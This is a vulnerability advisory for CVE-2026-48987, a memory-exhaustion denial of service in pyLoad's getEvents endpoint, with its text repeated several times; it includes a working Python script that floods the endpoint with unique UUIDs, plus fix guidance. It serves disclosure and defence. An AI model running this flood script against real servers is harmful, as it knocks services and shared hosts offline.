CVE-2026-48987

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev101, EventManager in src/pyload/core/managers/event_manager.py appends a Client object to the clients list for each unique uuid submitted to the authenticated getEvents API endpoint, but get_events does not invoke the available clean method to remove inactive clients. An authenticated user can repeatedly submit unique UUID values, causing retained client objects and process memory to grow without bound even after requests stop. The resulting memory exhaustion can trigger an operating-system out-of-memory termination of pyLoad or host-wide instability and denial of service. This issue is fixed in version 0.5.0b3.dev101.

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev101, EventManager in src/pyload/core/managers/event_manager.py appends a Client object to the clients list for each unique uuid submitted to the authenticated getEvents API endpoint, but get_events does not invoke the available clean method to remove inactive clients. An authenticated user can repeatedly submit unique UUID values, causing retained client objects and process memory to grow without bound even after requests stop. The resulting memory exhaustion can trigger an operating-system out-of-memory termination of pyLoad or host-wide instability and denial of service. This issue is fixed in version 0.5.0b3.dev101.

Description:

The EventManager module in pyload manages a list of Client instances for subscribing to events. The addition of each unique uuid from the get_events API causes the creation of a Client instance that gets appended to the clients list. Although there is a clean() method available in the EventManager module for removing non-responding Client instances, this method is never used in the EventManager or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.

Vulnerable Code:

https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17

Here the client is added to the clients list but never cleared the inactive clients.

Exploitation:

1. Start pyLoad server (Ensure the pyload server is running)
2. Authenticate: Obtain a session cookie or an API key (Here i used the API key).
3. Send Requests: Run the below poc script to send a large number of requests to the getEvents API endpoint, each with a unique uuid.

import requests
import uuid
import time

# Configuration
URL = "http://localhost:8000/api/getEvents"
NUM_REQUESTS = 100000

headers = {
	"X-API-Key" : "<YOUR_APIKEY>"
}

print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...")

for i in range(NUM_REQUESTS):
   # Generating a new UUID
    uid = str(uuid.uuid4())
    try:
        # Sending request
        requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5)
        if i % 1000 == 0:
            print(f"Sent {i} requests...")
    except requests.exceptions.RequestException as e:
        print(f"Error at request {i}: {e}")
        break

print("Attack complete. Check memory usage.")

5. Monitor Memory: Monitor the memory usage of the pyload process (e.g., using top, ps or the following commands).

PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done

6. Observe Growth: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.

https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686

Impact:

• Denial of Service (DoS). The pyload process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.

Mitigations:

• Invoke clean(): Call self.clean() at the beginning of the get_events method to purge inactive clients before processing new ones.
• Rate Limiting: Implement rate limiting on the getEvents endpoint to prevent a single client from flooding the server with unique UUIDs.

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev101, EventManager in src/pyload/core/managers/event_manager.py appends a Client object to the clients list for each unique uuid submitted to the authenticated getEvents API endpoint, but get_events does not invoke the available clean method to remove inactive clients. An authenticated user can repeatedly submit unique UUID values, causing retained client objects and process memory to grow without bound even after requests stop. The resulting memory exhaustion can trigger an operating-system out-of-memory termination of pyLoad or host-wide instability and denial of service. This issue is fixed in version 0.5.0b3.dev101.

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev101, EventManager in src/pyload/core/managers/event_manager.py appends a Client object to the clients list for each unique uuid submitted to the authenticated getEvents API endpoint, but get_events does not invoke the available clean method to remove inactive clients. An authenticated user can repeatedly submit unique UUID values, causing retained client objects and process memory to grow without bound even after requests stop. The resulting memory exhaustion can trigger an operating-system out-of-memory termination of pyLoad or host-wide instability and denial of service. This issue is fixed in version 0.5.0b3.dev101.

Description:

The EventManager module in pyload manages a list of Client instances for subscribing to events. The addition of each unique uuid from the get_events API causes the creation of a Client instance that gets appended to the clients list. Although there is a clean() method available in the EventManager module for removing non-responding Client instances, this method is never used in the EventManager or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.

Vulnerable Code:

https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17

Here the client is added to the clients list but never cleared the inactive clients.

Exploitation:

1. Start pyLoad server (Ensure the pyload server is running)
2. Authenticate: Obtain a session cookie or an API key (Here i used the API key).
3. Send Requests: Run the below poc script to send a large number of requests to the getEvents API endpoint, each with a unique uuid.

import requests
import uuid
import time

# Configuration
URL = "http://localhost:8000/api/getEvents"
NUM_REQUESTS = 100000

headers = {
	"X-API-Key" : "<YOUR_APIKEY>"
}

print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...")

for i in range(NUM_REQUESTS):
   # Generating a new UUID
    uid = str(uuid.uuid4())
    try:
        # Sending request
        requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5)
        if i % 1000 == 0:
            print(f"Sent {i} requests...")
    except requests.exceptions.RequestException as e:
        print(f"Error at request {i}: {e}")
        break

print("Attack complete. Check memory usage.")

5. Monitor Memory: Monitor the memory usage of the pyload process (e.g., using top, ps or the following commands).

PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done

6. Observe Growth: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.

https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686

Impact:

• Denial of Service (DoS). The pyload process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.

Mitigations:

• Invoke clean(): Call self.clean() at the beginning of the get_events method to purge inactive clients before processing new ones.
• Rate Limiting: Implement rate limiting on the getEvents endpoint to prevent a single client from flooding the server with unique UUIDs.

Description:

The EventManager module in pyload manages a list of Client instances for subscribing to events. The addition of each unique uuid from the get_events API causes the creation of a Client instance that gets appended to the clients list. Although there is a clean() method available in the EventManager module for removing non-responding Client instances, this method is never used in the EventManager or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.

Vulnerable Code:

https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17

Here the client is added to the clients list but never cleared the inactive clients.

Exploitation:

1. Start pyLoad server (Ensure the pyload server is running)
2. Authenticate: Obtain a session cookie or an API key (Here i used the API key).
3. Send Requests: Run the below poc script to send a large number of requests to the getEvents API endpoint, each with a unique uuid.

import requests
import uuid
import time

# Configuration
URL = "http://localhost:8000/api/getEvents"
NUM_REQUESTS = 100000

headers = {
	"X-API-Key" : "<YOUR_APIKEY>"
}

print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...")

for i in range(NUM_REQUESTS):
   # Generating a new UUID
    uid = str(uuid.uuid4())
    try:
        # Sending request
        requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5)
        if i % 1000 == 0:
            print(f"Sent {i} requests...")
    except requests.exceptions.RequestException as e:
        print(f"Error at request {i}: {e}")
        break

print("Attack complete. Check memory usage.")

5. Monitor Memory: Monitor the memory usage of the pyload process (e.g., using top, ps or the following commands).

PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done

6. Observe Growth: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.

https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686

Impact:

• Denial of Service (DoS). The pyload process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.

Mitigations:

• Invoke clean(): Call self.clean() at the beginning of the get_events method to purge inactive clients before processing new ones.
• Rate Limiting: Implement rate limiting on the getEvents endpoint to prevent a single client from flooding the server with unique UUIDs.